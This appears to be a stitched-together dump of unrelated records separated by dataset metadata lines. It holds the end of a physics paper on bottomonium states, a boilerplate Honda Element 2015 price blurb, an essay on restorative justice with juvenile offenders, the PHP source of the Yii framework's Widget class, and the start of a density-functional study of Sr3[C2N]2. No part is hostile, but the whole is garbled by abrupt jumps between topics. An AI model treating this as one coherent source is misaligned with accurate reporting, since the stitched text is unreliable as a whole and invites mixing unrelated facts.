t_{\bar{M}M, {\tilde{J}}-1; \bar{M}M, {\tilde{J}}-1} & t_{\bar{M}M, {\tilde{J}}+1; \bar{M}M, {\tilde{J}}-1} & t_{\bar{M_s}M_s, {\tilde{J}}-1; \bar{M}M, {\tilde{J}}-1} & t_{\bar{M_s}M_s, {\tilde{J}}+1; \bar{M}M, {\tilde{J}}-1} \\
t_{\bar{M}M, {\tilde{J}}-1; \bar{M}M, {\tilde{J}}+1} & t_{\bar{M}M, {\tilde{J}}+1; \bar{M}M, {\tilde{J}}+1} & t_{\bar{M_s}M_s, {\tilde{J}}-1; \bar{M}M, {\tilde{J}}+1} & t_{\bar{M_s}M_s, {\tilde{J}}+1; \bar{M}M, {\tilde{J}}+1} \\
t_{\bar{M}M, {\tilde{J}}-1; \bar{M_s}M_s, {\tilde{J}}-1} & t_{\bar{M}M, {\tilde{J}}+1; \bar{M_s}M_s, {\tilde{J}}-1} & t_{\bar{M_s}M_s, {\tilde{J}}-1; \bar{M_s}M_s, {\tilde{J}}-1} & t_{\bar{M_s}M_s, {\tilde{J}}+1; \bar{M_s}M_s, {\tilde{J}}-1} \\
t_{\bar{M}M, {\tilde{J}}-1; \bar{M_s}M_s, {\tilde{J}}+1} & t_{\bar{M}M, {\tilde{J}}+1; \bar{M_s}M_s, {\tilde{J}}+1} & t_{\bar{M_s}M_s, {\tilde{J}}-1; \bar{M_s}M_s, {\tilde{J}}+1} & t_{\bar{M_s}M_s, {\tilde{J}}+1; \bar{M_s}M_s, {\tilde{J}}+1} \\
\end{array}\right) . \\
%
\label{T_5x5} & &
\end{eqnarray}
\section{Results}
Now we focus on heavy $b$ quarks, take the $b$ quark mass from quark models ($m_Q = 4.977 \, \textrm{GeV}$ \cite{Godfrey:1985xj}) and use the spin averaged mass of the $B$ and the $B^\ast$ meson ($m_M = (m_B + 3 m_{B^\ast}) / 4 = 5.313 \, \textrm{GeV}$) and of the $B_s$ and the $B_s^\ast$ meson ($m_{M_s} = (m_{B_s} + 3 m_{B_s^\ast}) / 4 = 5.403 \, \textrm{GeV}$). The lattice QCD data we are using \cite{Bali:2005fu} corresponds to $E_{\textrm{threshold}} = 10.790 \, \textrm{GeV}$.
We consider the analytic continuation of the coupled channel Schr\"odinger equation \eqref{eqn:coupledChannelSE_5x5} to the complex energy plane, where we search for poles of the $\mbox{T}$ matrices \eqref{T_5x5}. In Figure~\ref*{fig:polepositions} we show all poles with real part below $11.2 \, \textrm{GeV}$. To propagate the statistical errors of the lattice QCD data, we generated 1000 statistically independent samples and repeated our computations on each of these samples. For each bound state and resonance there is a differently colored point cloud representing the 1000 samples. Bound states are located on the real axis below the $\bar B^{(*)} B^{(*)}$ threshold at $10.627 \, \textrm{GeV}$, while resonances are above this threshold and have a non-vanishing negative imaginary part. As usual, the pole energies $E$ are related to masses and decay widths of bottomonium states via $m = \textrm{Re}(E)$ and $\Gamma = -2\,\textrm{Im}(E)$.
\begin{figure}
\centering
\tikzmath{\x = 3.85; \y = 2.2; \imagescale = 0.5; \titlex = 2.3; \titley = 1.2;}
\begin{tikzpicture}
\node[inner sep=0] (image1) at (-\x,\y) {\includegraphics[width=\imagescale\textwidth]{poles_J_0.pdf}};
\node at ($(image1)-(\titlex,\titley)$) {${\tilde{J}} = 0$};
\node[inner sep=0] (image2) at (\x,\y) {\includegraphics[width=\imagescale\textwidth]{poles_J_1.pdf}};
\node at ($(image2)-(\titlex,\titley)$) {${\tilde{J}} = 1$};
\node[inner sep=0] (image3) at (-\x,-\y) {\includegraphics[width=\imagescale\textwidth]{poles_J_2.pdf}};
\node at ($(image3)-(\titlex,\titley)$) {${\tilde{J}} = 2$};
\node[inner sep=0] (image4) at (\x,-\y) {\includegraphics[width=\imagescale\textwidth]{poles_J_3.pdf}};
\node at ($(image4)-(\titlex,\titley)$) {${\tilde{J}} = 3$};
\end{tikzpicture}
\caption{Poles of $\mbox{T}_{\tilde{J}}$ in the complex plane representing bound states and resonances below $11.2 \, \textrm{GeV}$. Colored point clouds and the corresponding black error bars reflect statistical errors of the lattice QCD data from Ref.\ \cite{Bali:2005fu}. The vertical dashed lines indicate the $\bar B^{(*)} B^{(*)}$ and $\bar B^{(*)}_s B^{(*)}_s$ thresholds. The light blue shaded regions above $11.025 \, \textrm{GeV}$ mark the opening of the threshold of one heavy-light meson with negative parity and another one with positive parity. Results in these regions should not be trusted anymore.}
\label{fig:polepositions}
\end{figure}
In Table \ref{tab:results} we compare our results with experimentally observed bound states and resonances.
The low-lying states we found have masses similar to those measured in experiments and it seems straightforward to identify their counterparts:
%
\begin{itemize}
\item ${\tilde{J}} = 0$, $n=1,2,3,4$ correspond to $\eta_b(1S) \equiv \Upsilon(1S)$, $\Upsilon(2S)$, $\Upsilon(3S)$ and $\Upsilon(4S)$.
\item ${\tilde{J}} = 1$, $n=1,2,3$ correspond to $h_b(1P) \equiv \chi_{b0}(1P) \equiv \chi_{b1}(1P) \equiv \chi_{b2}(1P)$, $h_b(2P) \equiv \chi_{b0}(2P) \equiv \chi_{b1}(2P) \equiv \chi_{b2}(2P)$ and $\chi_{b1}(3P)$.
\item ${\tilde{J}} = 2$, $n=1$ corresponds to $\Upsilon(1D)$.
\end{itemize}
Our resonance mass for ${\tilde{J}} = 0$, $n = 5$ is quite similar to the experimental result for $\Upsilon(10753)$, which was recently reported by Belle \cite{Belle:2019cbt}. In a recent publication \cite{Bicudo:2020qhp} we investigated the structure of this state within the same setup and found that it is meson-meson dominated. Thus, since it is not an ordinary quarkonium state and the heavy quark spin can be $1^{--}$, it can be classified as a $Y$ type crypto-exotic state.
The resonances $\Upsilon(10860)$ and $\Upsilon(11020)$ are typically interpreted as $\Upsilon(5S)$ and $\Upsilon(6S)$. However, from the experimental perspective they could as well correspond to $D$ wave states. Since our ${\tilde{J}} = 0$, $n = 6$ state is rather close to $\Upsilon(10860)$, while there is no matching candidate for ${\tilde{J}} = 2$, our results clearly support the interpretation of $\Upsilon(10860)$ as $\Upsilon(5S)$. Concerning $\Upsilon(11020)$ the situation is less clear. First, the mass of $\Upsilon(11020)$ is already close to the threshold for a negative parity $B$ or $B^\ast$ and a positive parity $B_0^\ast$ or $B_1^\ast$ meson, a channel we have not yet included in our approach. Second, the ${\tilde{J}} = 0$, $n = 7$ and ${\tilde{J}} = 2$, $n = 3$ states have almost the same mass and are both close to $\Upsilon(11020)$. Thus, we are not in a position to decide, whether the $\Upsilon(11020)$ is an $S$ wave or rather a $D$ wave state.
\begin{table}
\centering
\includegraphics[width=0.7\textwidth]{tableOfResults.pdf}
\caption{Masses and decay widths for $I = 0$ bottomonium from the coupled channel Schr\"odinger equation \eqref{eqn:coupledChannelSE_5x5}. For comparison we also list available experimental results. The $\bar B^{(*)} B^{(*)}$- and $\bar B^{(*)}_s B^{(*)}_s$-threshold are marked by dashed lines. Errors on our results are purely statistical.}
\label{tab:results}
\end{table}
Since we neglected effects due to the heavy quark spins, we expect that our results on have systematic errors of order $50 \, \textrm{MeV}$. Including heavy quark spins in our approach is a major step \cite{Bicudo:2016ooe}, which we plan to take in the near future.
\section*{Acknowledgements}
We acknowledge useful discussions with Gunnar Bali, Eric Braaten, Marco Cardoso, Francesco Knechtli, Vanessa Koch, Sasa Prelovsek, George Rupp and Adam Szczepaniak. L.M. acknowledges support by a Karin and Carlo Giersch Scholarship of the Giersch foundation. M.W.\ acknowledges funding by the Heisenberg Programme of the Deutsche Forschungsgemeinschaft (DFG, German Research Foundation) -- Projektnummer 399217702. Calculations on the Goethe-HLR and on the FUCHS-CSC high-performance computer of the Frankfurt University were conducted for this research. We would like to thank HPC-Hessen, funded by the State Ministry of Higher Education, Research and the Arts, for programming advice. PB and NC thank the support of CeFEMA under the contract for R\&D Units, strategic project No. UID/CTM/04540/2019, and the
FCT project Grant No. CERN/FIS-COM/0029/2017. NC is supported by FCT under the contract No. SFRH/BPD/109443/2015.
| {
"redpajama_set_name": "RedPajamaArXiv"
} | 6,258 |
Honda Element 2015 is one of the best models produced by the outstanding brand Honda. Honda Element 2015's average market price (MSRP) is found to be from $10,467 to $21,075. Overall viewers rating of Honda Element 2015 is 2 out of 5. Also, on this page you can enjoy seeing the best photos of Honda Element 2015 and share them on social networks. To get more information about the model go to Honda Element. | {
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Some years ago I worked in Juvenile Corrections where I coordinated a number of Restorative Justice programs. One time the Judge sent to us a young man who had vandalized a home in the community. When the youth understood what he was getting into, he begged me to give him 100 hours of Community Service rather than having to meet with the family he had victimized. The Judge and I said no, he would meet with the family. I agreed with him that it would be one of the most difficult things he had ever done, but I also promised him that once he did, he would regain his self-respect and be able to "hold his head up" again.
Eventually he did meet with the family. He listened to them express what they had gone through as a result of his senseless actions. They listened to him struggle through identifying, understanding and changing some of his beliefs and attitudes. Together they worked out a plan for him to repair some of the damages. Many months later the man whose home had been vandalized told me that he often ran into the youth around town and that they were able to talk to each other. Dignity had been restored for both victim and offender. The ability to trust had been restored and an unhappy adolescent learned the meaning of honor and repairing harm. This is how Restorative Justice works.
Unfortunately, there is a lot of misunderstanding regarding the concept of Restorative Justice. I once contacted a police officer who was the victim of a garage break-in at his home during which some tools and other miscellaneous items had been stolen. The offender had been ordered by Juvenile Court to attend a Restorative Justice program at the agency where I worked. He had met with us a number of times and was making good progress in taking personal responsibility for his actions. He desired to make things as right as he could with the officer and his family. I was now inviting the family to participate in the process to whatever degree they were willing, providing them an opportunity to express how they had been affected and to participate in the decision process of what the young offender might do to repair the harm that he had caused.
That Restorative Justice is "soft" is a common misunderstanding. People often have the impression that when those who have caused harm are provided with support that they are not also being held accountable.
What rule, law or societal norm was violated or broken?
Punishment is about extracting retribution. What does he or she owe for indulging in this behavior—both materially and simply for having "done wrong"? We expect the offender to passively comply with what others decide his/her consequence, or punishment should be.
What harm was caused because of this event, and to whom?
Who caused the harm and who is responsible to repair it?
What needs to happen in order to repair the harm and restore all those who were harmed?
In the case involving the police officer and his family the primary harm they experienced was the violation of their privacy. They no longer felt safe. This vulnerability resulted in lost sleep and increased household stress affecting family relationships, health and work. Stolen items needed to be replaced and money was spent on an upgraded lock and alarm system.
The young offender had caused harm to his family by violating trust and causing shame and embarrassment. He harmed his peers by perpetuating an attitude among many adults that adolescents are to be feared and mistrusted. He may have contributed to negative cultural stereotypes. The general community was harmed, especially the neighborhood where the crime occurred as we all feel the effect of increased fear, anger and tension surrounding crime in our communities.
The young man caused harm to himself by getting mixed up in crime and the criminal justice system. Having this offense on his record will have it's own ramifications—juvenile files are not as closed as we might like to think. He felt shame and an increased sense of failure and lack of worth.
Many, like the victimized officer, feel whatever the youth suffered is as it should be—he deserved it. But what good would that serve? Would it inspire the youth to do an emotional, behavioral 180 and become a model adolescent citizen? Would it sweep away the anger and stress and hurt the victimized family felt? Would it make our community safer?
What victims tell us they want most is to have their feelings heard and understood, especially, when possible, by the one who hurt them. They want people, particularly the perpetrator, to understand their pain. This is where the desire for revenge comes from—"I want you to feel the pain I feel, the pain you caused me!" Most of us can relate to this even if we have not been a victim of crime.
Most victims also want what restoration means: to return to a state of emotional/psychological strength and well-being; to have order and a sense of safety restored; to have their things returned and restitution made for anything lost or damaged.
The police officer's family deserves the opportunity to talk honestly, in an emotionally safe space, about how the event has affected them, including telling the young man that he might have gotten himself shot had the officer been awake! The young man needs to hear this—and the officer needs to be able to tell him. The family needs to be able to state what will help them feel safe again and able to release their fear, stress and anger. They should be able to ask the offender the questions that most often victims have: "Why? Why me? Do you realize what this has done to us?" It is right that they receive payment for the things they have lost, or have their things returned undamaged.
The youth needs to be supported in holding himself accountable, without blaming others, for the harm he has caused. This includes hearing how his actions have actually affected others. This includes confronting the beliefs he holds that allowed him to behave as he did. It includes exploring the honorable values he holds and the changes he can make to bring his life and his actions into alignment with those values. He needs to be validated for his intrinsic worth and recognized for the responsible choices he makes.
Does this sound like mollycoddling? The young man who once begged for 100 hours of community service in lieu of meeting with the family he had harmed would tell you Restorative Justice is most certainly not "soft". Restorative Justice does not negate the fact that sometimes people need to go to jail in order to protect the public. But it does not view this as the ultimate solution. Going to jail does not repair the harm that has been done. The victims still need and deserve support. The offender still needs to take responsibility for the harm he has caused and do what he can to make it right, even if he needs to do that from behind bars. He may also require support in order to make the necessary changes in his thinking and behavior so that he can live responsibly and successfully.
A victimized person or family gets their questions answered and are sometimes able to talk with the one who harmed them and frightened them so badly. An offender is able to make real restitution and receive new insights and the opportunity and support to effect real change and growth. A community, consciously or unconsciously, breathes a little easier and feels a little lighter. This is what can occur when people are willing to sit down together, listen to one another, make decisions together and be accountable to one another. | {
"redpajama_set_name": "RedPajamaC4"
} | 5,138 |
The Kenya national athletics team represents Kenya at the international athletics competitions such as Olympic Games or World Athletics Championships.
Medal count
Kenya has participated in 14 of the 28 editions of the Summer Olympic Games from 1896 to 2016.
See also
Athletics Kenya
Kenya at the Olympics
List of Kenyan records in athletics
Athletics Summer Olympics medal table
World Championships medal table
References
External links
Athletics at Summer Olympics
National team
Athletics
Kenya | {
"redpajama_set_name": "RedPajamaWikipedia"
} | 5,700 |
{"url":"https:\/\/math.bme.hu\/szeminarium?language=hu&page=7","text":"Szemin\u00e1riumok\n\nMiStImm: an agent-based simulation tool to study the self-nonself discrimination of the adaptive immune response\n\nId\u0151pont:\n2019. 04. 04. 12:00\nHely:\nH27\nKerepesi Csaba\n\nAdaptive Linear Multistep Methods - Designing Automatic Step Size Control for Multistep Methods\n\nId\u0151pont:\n2019. 04. 04. 10:15\nHely:\nH306\nGustaf S\u00f6derlind\n\nIn a k-step adaptive linear multistep methods the coefficients depend on the k-1 most\u00a0recent step size ratios. In a similar way, both the actual and the estimated local error\u00a0will depend on these step ratios. The classical error model has been the asymptotic model,\u00a0$r = ch^{p+1}y^{(p+1)}(t)$, based on the constant step size analysis, where all past step\u00a0sizes simultaneously go to zero. This does not reflect actual computations with multistep\u00a0methods, where step size control only affects future steps, not the the previous accepted\u00a0steps. In variable step size implementations, therefore, even in the asymptotic regime,\u00a0the error model must include the dependence on previous step sizes and step ratios. In\u00a0this talk we develop dynamic asymptotic models for variable step size computations, and\u00a0analyze a few new step size controllers accounting for the dynamics in the error model,\u00a0while keeping the local error near a prescribed tolerance.\n\nLogaritmikus konnexi\u00f3k, operek \u00e9s Hilbert s\u00e9m\u00e1k\n\nId\u0151pont:\n2019. 04. 02. 10:30\nHely:\nH306\nSzab\u00f3 Szil\u00e1rd\n\nPrecipitation patterns driven by a gravity current\n\nId\u0151pont:\n2019. 03. 28. 12:00\nHely:\nH27\nDezs\u0151 Horv\u00e1th, G\u00e1bor P\u00f3t\u00e1ri, \u00c1gota T\u00f3th (Szegedi Tudom\u00e1nyegyetem)\n\nId\u0151pont:\n2019. 03. 28. 10:15\nHely:\nH306\nInsperger Tam\u00e1s (BME, M\u0171szaki Mechanikai Tansz\u00e9k)\n\nHuman balancing tasks are modelled by differential equations and are\u00a0compared to experimental observations.\u00a0First, the classical inverted pendulum model is revisited with respect\u00a0to stabilizability. Namely, the relation between the reaction time delay\u00a0and the shortest pendulum length (critical length) of the stick is\u00a0derived and is demonstrated experimentally. Conclusions are drawn\u00a0related to human tests, such as stick balancing on the fingertip,\u00a0balancing a linearly driven inverted pendulum and virtual stick balancing.Second, the ball and beam balancing is considered, where the task is to\u00a0stabilize a rolling ball at the mid-point of a beam by manipulating the\u00a0angular position of the beam. Assuming a delayed proportional-derivative\u00a0feedback mechanism, the governing equation is delay-differential\u00a0equation. Performance of the control system is analyzed in terms of\u00a0overshoot and settling time. Experiments over 5-days trials shows that\u00a0control parameters are tuned to the optimal point associated with\u00a0minimal overshoot and the shortest settling time.\u00a0Finally, some further balancing tasks are briefly demonstrated and\u00a0discussed.\n\n20 \u00e9ves a BME Sztochasztika Szemin\u00e1rium; Inform\u00e1ci\u00f3s vet\u00fcletek geometri\u00e1ja \u00e9s \u00e1ltal\u00e1nos\u00edtott ML becsl\u00e9sek\n\nId\u0151pont:\n2019. 03. 21. 16:15\nHely:\nH406","date":"2020-02-25 01:53:14","metadata":"{\"extraction_info\": {\"found_math\": true, \"script_math_tex\": 0, \"script_math_asciimath\": 0, \"math_annotations\": 0, \"math_alttext\": 0, \"mathml\": 0, \"mathjax_tag\": 0, \"mathjax_inline_tex\": 1, \"mathjax_display_tex\": 0, \"mathjax_asciimath\": 0, \"img_math\": 0, \"codecogs_latex\": 0, \"wp_latex\": 0, \"mimetex.cgi\": 0, \"\/images\/math\/codecogs\": 0, \"mathtex.cgi\": 0, \"katex\": 0, \"math-container\": 0, \"wp-katex-eq\": 0, \"align\": 0, \"equation\": 0, \"x-ck12\": 0, \"texerror\": 0, \"math_score\": 0.5219451189041138, \"perplexity\": 3949.4285553147497}, \"config\": {\"markdown_headings\": false, \"markdown_code\": true, \"boilerplate_config\": {\"ratio_threshold\": 0.18, \"absolute_threshold\": 10, \"end_threshold\": 15, \"enable\": true}, \"remove_buttons\": true, \"remove_image_figures\": true, \"remove_link_clusters\": true, \"table_config\": {\"min_rows\": 2, \"min_cols\": 3, \"format\": \"plain\"}, \"remove_chinese\": true, \"remove_edit_buttons\": true, \"extract_latex\": true}, \"warc_path\": \"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146004.9\/warc\/CC-MAIN-20200225014941-20200225044941-00376.warc.gz\"}"} | null | null |
<?php
namespace yii\base;
use Yii;
use ReflectionClass;
/**
* Widget is the base class for widgets.
*
* @property string $id ID of the widget.
* @property \yii\web\View $view The view object that can be used to render views or view files. Note that the
* type of this property differs in getter and setter. See [[getView()]] and [[setView()]] for details.
* @property string $viewPath The directory containing the view files for this widget. This property is
* read-only.
*
* @author Qiang Xue <qiang.xue@gmail.com>
* @since 2.0
*/
class Widget extends Component implements ViewContextInterface
{
/**
* @var integer a counter used to generate [[id]] for widgets.
* @internal
*/
public static $counter = 0;
/**
* @var string the prefix to the automatically generated widget IDs.
* @see getId()
*/
public static $autoIdPrefix = 'w';
/**
* @var Widget[] the widgets that are currently being rendered (not ended). This property
* is maintained by [[begin()]] and [[end()]] methods.
* @internal
*/
public static $stack = [];
/**
* Begins a widget.
* This method creates an instance of the calling class. It will apply the configuration
* to the created instance. A matching [[end()]] call should be called later.
* @param array $config name-value pairs that will be used to initialize the object properties
* @return static the newly created widget instance
*/
public static function begin($config = [])
{
$config['class'] = get_called_class();
/* @var $widget Widget */
$widget = Yii::createObject($config);
static::$stack[] = $widget;
return $widget;
}
/**
* Ends a widget.
* Note that the rendering result of the widget is directly echoed out.
* @return static the widget instance that is ended.
* @throws InvalidCallException if [[begin()]] and [[end()]] calls are not properly nested
*/
public static function end()
{
if (!empty(static::$stack)) {
$widget = array_pop(static::$stack);
if (get_class($widget) === get_called_class()) {
echo $widget->run();
return $widget;
} else {
throw new InvalidCallException("Expecting end() of " . get_class($widget) . ", found " . get_called_class());
}
} else {
throw new InvalidCallException("Unexpected " . get_called_class() . '::end() call. A matching begin() is not found.');
}
}
/**
* Creates a widget instance and runs it.
* The widget rendering result is returned by this method.
* @param array $config name-value pairs that will be used to initialize the object properties
* @return string the rendering result of the widget.
* @throws \Exception
*/
public static function widget($config = [])
{
ob_start();
ob_implicit_flush(false);
try {
/* @var $widget Widget */
$config['class'] = get_called_class();
$widget = Yii::createObject($config);
$out = $widget->run();
} catch (\Exception $e) {
// close the output buffer opened above if it has not been closed already
if (ob_get_level() > 0) {
ob_end_clean();
}
throw $e;
}
return ob_get_clean() . $out;
}
private $_id;
/**
* Returns the ID of the widget.
* @param boolean $autoGenerate whether to generate an ID if it is not set previously
* @return string ID of the widget.
*/
public function getId($autoGenerate = true)
{
if ($autoGenerate && $this->_id === null) {
$this->_id = static::$autoIdPrefix . static::$counter++;
}
return $this->_id;
}
/**
* Sets the ID of the widget.
* @param string $value id of the widget.
*/
public function setId($value)
{
$this->_id = $value;
}
private $_view;
/**
* Returns the view object that can be used to render views or view files.
* The [[render()]] and [[renderFile()]] methods will use
* this view object to implement the actual view rendering.
* If not set, it will default to the "view" application component.
* @return \yii\web\View the view object that can be used to render views or view files.
*/
public function getView()
{
if ($this->_view === null) {
$this->_view = Yii::$app->getView();
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return $this->_view;
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/**
* Sets the view object to be used by this widget.
* @param View $view the view object that can be used to render views or view files.
*/
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{
$this->_view = $view;
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/**
* Executes the widget.
* @return string the result of widget execution to be outputted.
*/
public function run()
{
}
/**
* Renders a view.
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* - absolute path within application (e.g. "//site/index"): the view name starts with double slashes.
* The actual view file will be looked for under the [[Application::viewPath|view path]] of the application.
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* The actual view file will be looked for under the [[Module::viewPath|view path]] of the currently
* active module.
* - relative path (e.g. "index"): the actual view file will be looked for under [[viewPath]].
*
* If the view name does not contain a file extension, it will use the default one `info.php`.
*
* @param string $view the view name.
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* @return string the rendering result.
* @throws InvalidParamException if the view file does not exist.
*/
public function render($view, $params = [])
{
return $this->getView()->render($view, $params, $this);
}
/**
* Renders a view file.
* @param string $file the view file to be rendered. This can be either a file path or a path alias.
* @param array $params the parameters (name-value pairs) that should be made available in the view.
* @return string the rendering result.
* @throws InvalidParamException if the view file does not exist.
*/
public function renderFile($file, $params = [])
{
return $this->getView()->renderFile($file, $params, $this);
}
/**
* Returns the directory containing the view files for this widget.
* The default implementation returns the 'views' subdirectory under the directory containing the widget class file.
* @return string the directory containing the view files for this widget.
*/
public function getViewPath()
{
$class = new ReflectionClass($this);
return dirname($class->getFileName()) . DIRECTORY_SEPARATOR . 'views';
}
}
| {
"redpajama_set_name": "RedPajamaGithub"
} | 4,720 |
\section{Introduction}
\label{sec:Introduction}
Designing materials based on the first principles approach, synthesis, and equally characterization of these materials are of great interest to both theoretical and experimental material scientists\cite{james}. The search for new novel materials has become a norm in many material-based research groups around the world. The exponential search has been triggered by the enormous success in the current theoretical and experimental approaches. As an example, if carbon is combined with a light element like nitrogen, the outcome has always been promising from previous theoretical studies\cite{G1,G2,G3}. Unfortunately, few of these complex carbon-nitrogen-ions have been realized experimentally\cite{james}.\par
After the discovery of pseudo-chalcogenide anion [CN$_2$]$^{2-}$ in Ca[CN$_2$], there has been a continuous\cite{CN2} urge to obtain carbodiimide-based and cyanamides-based materials for potential applications. It is important to note that [CN$_2$]$^{2-}$ may exist as the symmetric carbodiimide anion or the asymmetric cyanamides depending on the hardness of the cation in place. Literature\cite{CN2,1994,2016,2001,2004} hints that carbodiimides like M[CN$_2$] (M=Mg - Ba and Eu), Cr$_2$[CN$_2$]$_3$ and M[CN$_2$] (M=Mn - Zn) as well as binary cyanamides such as M[M=Cd and Pb], are employed as negative electrode materials for lithium and sodium batteries, corrosion protective layers, photovoltaic devices, fluorescent light sources and light-emitting diodes. The carbodiimide anion is a pseudo-chalcogenide anion and can act as a bridging ligand to allow magnetic bridged paramagnetic cations like Cr$_2$[CN$_{2}$]$_3$\cite{2016}.
\par Most recently, a new unknown family of pseudonitrides was realized. The first quasi-binary acetonitriletriide Sr$_3$[C$_2$N]$_2$, was reported by Clark and co-workers\cite{paper}. They characterized Sr$_3$[C$_2$N]$_2$ by single-crystal X-ray diffraction, Raman spectroscopy, elemental analysis and confirmed it by quantum mechanical methods. Our study was promoted by the extensive work in Ref.~\onlinecite{paper} to aid fill the information gap on Sr$_3$[C$_2$N]$_2$. To this date, based on our knowledge, no studies whether theoretical or experimental have been performed on the mechanical stability and band-structure analysis of monoclinic Sr$_3$[C$_2$N]$_2$.
\par It is important to note that any material possesses its intrinsic characteristics. If these traits are well predicted and understood, then it becomes easy to manipulate or tailor a material for any novel functionality. Information regarding the lattice constants is usually important in the growth of thin layers on other materials. A mismatch can easily lead to strains and thus defects\cite{msc,thesis}. Mechanical stability on the other hand, is a very fundamental aspect of any material and it is based on its elastic constants. The elastic constants determine the way a crystal will respond to external forces and also give room to investigate stability, stiffness, brittleness, and ductility in a material. Knowledge of the band-structure contribution from the orbitals is important such that it depicts the chemical bonding nature in a crystal as explained in Ref~\onlinecite{msc}. Again, it can predict its optical capabilities if the gap seems tunable. With all these in mind, we filled the information gap on Sr$_3$[C$_2$N]$_2$ by performing an \textit{ab initio} study. We first bench-marked our study with the work of Clark and co-workers in Ref.~\onlinecite{paper} on lattice parameters and the optimized coordinates. Once satisfied, we went ahead to investigate the elastic constants, electronic density of states and the phonon bandstructure.
\par This paper is organized as follows in the remaining parts: in Sec.~\ref{sec:comps}, we give a brief outline of the calculation details. The results are shown and discussed in Sec.~\ref{sec:results}. Finally, in Sec.~\ref{conc} we give a conclusion and propose future works on monoclinic Sr$_3$[C$_2$N]$_2$.
\section{Calculation details}
\label{sec:comps}
\begin{figure}[h!]
\begin{center}
\includegraphics[width=0.4\textwidth]{file.eps}
\caption{ We display the conventional cell of monoclinic Sr$_3$[C$_2$N]$_2$ in $P2_1/c$ space group (No.14) considered in the present calculation. The blue, green and gray balls represent Sr, C and N respectively. Information regarding the optimized atomic coordinates (fractional) has been given in Table \ref{positions} to ensure reproducible calculations in future. Other important aspects are found in Table \ref{table:0cn}.}
\label{fig:equi}
\end{center}
\end{figure}
We performed scalar-relativistic calculations on Sr$_3$[C$_2$N]$_2$ using density functional formalism as implemented in the {\sc {Siesta}} method\cite{siesta} with a double zeta polarized basis set. Exchange and correlation were treated within the generalized gradient approximation (GGA) using the PBE\cite{pbe} functional. Core electrons were replaced by \textit{ab initio} norm-conserving fully separable \cite{KB}, Troullier-Martin pseudopotentials \cite{TroulMartin}. In {\sc{Siesta}}, the one-electron eigenstates were expanded in a set of numerical atomic orbitals using the standard {\sc Siesta} DZP basis. A Fermi-Dirac distribution with a temperature of 0.075 eV was used to smear the occupancy of the one-particle electronic eigenstates. To get a converged system, we had a two-step procedure: We first relaxed the atomic structure and the one-particle density matrix with a sensible number of k-points (9$\times$5$\times$7 Monkhorst-Pack\cite {monkhorst, soler_kpts} k-point mesh) and secondly, freezing the relaxed structure and density matrix, we performed a non-self consistent band structure calculation with a much denser sampling of 60$\times$60$\times$60. Real-space integration was carried over a uniform grid with an equivalent plane-wave cutoff of 600 Ry. In this calculation, all the atomic coordinates were relaxed until the forces were smaller than $0.01$ eV/\AA ~and the stress tensor components were below 0.0001 eV/\AA$^3$.
\begin{table}
\caption{ Fractional coordinates of the studied Sr$_3$[C$_2$N]$_2$ in the monoclinic phase
\label{positions}
\begin{tabular}{c c}
\hline
Atom & Position (x,y,z) \\
\hline
Sr&0.000000000 0.000000000 0.000000000\\
Sr&0.000000004 0.499999854 0.500000328\\
Sr&0.678485771 0.152045862 0.435470093\\
Sr&0.321513943 0.847953807 0.564530748\\
Sr&0.321518608 0.652042412 0.064527652\\
Sr&0.678482154 0.347957366 0.935472290\\
N&0.087449979 0.210397309 0.200261007\\
N&0.912551701 0.789606001 0.799739143\\
N&0.912523899 0.710388851 0.299719372\\
N&0.087475085 0.289613275 0.700280840\\
C&0.235772471 0.184132419 0.721581733\\
C&0.764227685 0.815867535 0.278418430\\
C&0.764246370 0.684131708 0.778427357\\
C&0.235751809 0.315867237 0.221572747\\
C&0.384750637 0.075614761 0.736019744\\
C&0.615256520 0.924379726 0.263979027\\
C&0.615257998 0.575610654 0.763983118\\
C&0.384737027 0.424384036 0.236016889\\
\hline
\end{tabular}
\end{table}
\section{RESULTS AND DISCUSSION}
\label{sec:results}
In this section we present the calculated ground-state properties of monoclinic Sr$_3$[C$_2$N]$_2$ as predicted using the PBE\cite{pbe} functional. It is important to note that we fitted our energy-volume relationship to the Murnaghan\cite{munaghan} equation of state.
\subsection{Structural properties}
\label{sec:structural}
\begin{table*}[tb]
\centering
\caption{ Structural parameters of Sr$_3$[C$_2$N]$_2$: $a$ (\AA), $b$ (\AA), $c$ (\AA), $\alpha (\degree)$, $\beta (\degree)$, $\gamma (\degree)$, volume (\AA $^3$), C-C bond (\AA), C-N bond (\AA) and the density (g/cm$^3$).}
\label{table:0cn}
\begin{tabular*}{\textwidth}{@{\extracolsep{\fill}}llllllllllllllllll@{}}
\hline\noalign{\smallskip}
Reference &a &b &c &$\alpha$& $\beta$&$\gamma$&volume&C-C&C-N&$\rho$\\
\noalign{\smallskip}\hline\noalign{\smallskip}
This work (Z=2) [DFT]&4.0552 &10.8702&7.0128 &89.9999&103.246&90.001&300.90&1.318&1.287&3.741\\
Experiment\cite{paper}&4.0745&10.7254&7.0254&- &102.700&-&299.50&1.291&1.271&3.758\\
\noalign{\smallskip}\hline
\end{tabular*}
\label{str}
\end{table*}
From the calculated parameters in Table \ref{str}, it is seen that the volume of Sr$_3$[C$_2$N]$_2$ crystal is 300.90 \AA$^3$ which is in agreement with the recent experimental value of 299.50 \AA$^3$. Our volume is 0.47\% higher than that of Clark and co-workers\cite{paper} due to slight distortion in our optimized lattice constants. The unit cell slightly increased by 1.35\% in the $b$ axis while we had a decrease of 0.47\% and 0.12\% in $a$ and $c$ axis respectively. This indicated an existence in different bonding characters along the three axes. The C-C and C-N bonds were overestimated as compared to the experimental values by 2.09\% and 1.26\% respectively. Such a discrepancy is a well-known factor since PBE functional overestimates the lattices and thus the bonds. Our calculated volumetric density slightly decreased by 0.45\% and this was attributed to the increased volume after optimization. The $\beta$ angle in our calculations was 0.53\% larger than that in Ref.~\onlinecite{paper} and it is attributed to the lattice distortions as we relaxed the atomic positions. Generally, an agreement was reached between the computed and measured values\cite{paper}.
\subsection{Electronic density of states}
\label{sec:bands}
\begin{figure}[h!]
\begin{center}
\includegraphics[width=0.4\textwidth]{new_pdos.eps}
\caption{Total and partial density of states of monoclinic Sr$_3$[C$_2$N]$_2$. The DOS is decomposed into the main electron
states of each component. The vertical line at 0-point (cyan), denotes the fermi-level.}
\label{fig:bands}
\end{center}
\end{figure}
